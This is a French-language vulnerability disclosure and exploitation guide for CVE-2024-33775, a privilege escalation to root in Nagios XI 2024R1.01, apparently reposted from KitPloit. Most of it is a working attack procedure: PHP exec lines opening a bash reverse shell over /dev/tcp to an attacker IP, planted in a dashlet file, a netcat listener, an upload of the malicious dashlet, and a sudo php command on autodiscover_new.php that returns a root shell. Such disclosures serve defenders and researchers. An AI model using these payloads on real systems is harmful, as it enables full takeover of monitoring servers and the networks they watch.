CVE-2024-33775

CVE découverte par : K. Wahab (Neo`X)

Détails de la vulnérabilité :

• Produit : Nagios XI Version 2024R1.01
• Vulnérabilité : Élévation de privilèges depuis les utilisateurs « NAGIOS » ou « APACHE »
• Résultat : Accès root complet sur le système cible
• CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33775

Exploitation :

Le RSS Dashlet est utilisé dans cet exemple.

1. Créer une nouvelle instance de Nagios XI :

• Vous pouvez télécharger le fichier OVA de Nagios XI Version 2024R1.01 depuis : https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova

2. Élévation de privilèges :

Exploitation en tant que NAGIOS :

• Ajoutez dans le fichier .inc.php du dashlet dans "/usr/local/nagiosxi/html/includes/dashlets/" le contenu suivant :

exec('/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1);

• Démarrez un serveur d'écoute Netcat sur la machine de l'attaquant :

nc -nlvp 4441

• Exécutez la commande suivante pour élever les privilèges et recevoir une connexion en tant que root :

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

Exploitation en tant qu'APACHE :

• Accédez à la page de gestion des dashlets et téléchargez un Dashlet :

  root@kitploit:~

  http://TARGET_IP/nagiosxi/admin/dashlets.php?download=rss_dashlet
  

• Modifiez le fichier *.inc.php :

  root@kitploit:~

  exec("sleep 30 && /bin/bash -c '/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1'");
  

• Démarrez un serveur d'écoute Netcat sur la machine de l'attaquant :

nc -nlvp 4441

• Téléversez le dashlet malveillant dans la page de gestion des dashlets et attendez la connexion en tant qu'utilisateur APACHE.
• Exécutez la commande suivante pour élever les privilèges et recevoir une connexion en tant que root :

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

(Remarque : après avoir exécuté la commande, vous recevrez une connexion en tant qu'APACHE, utilisez CTRL+C pour quitter et redémarrez le listener à plusieurs reprises)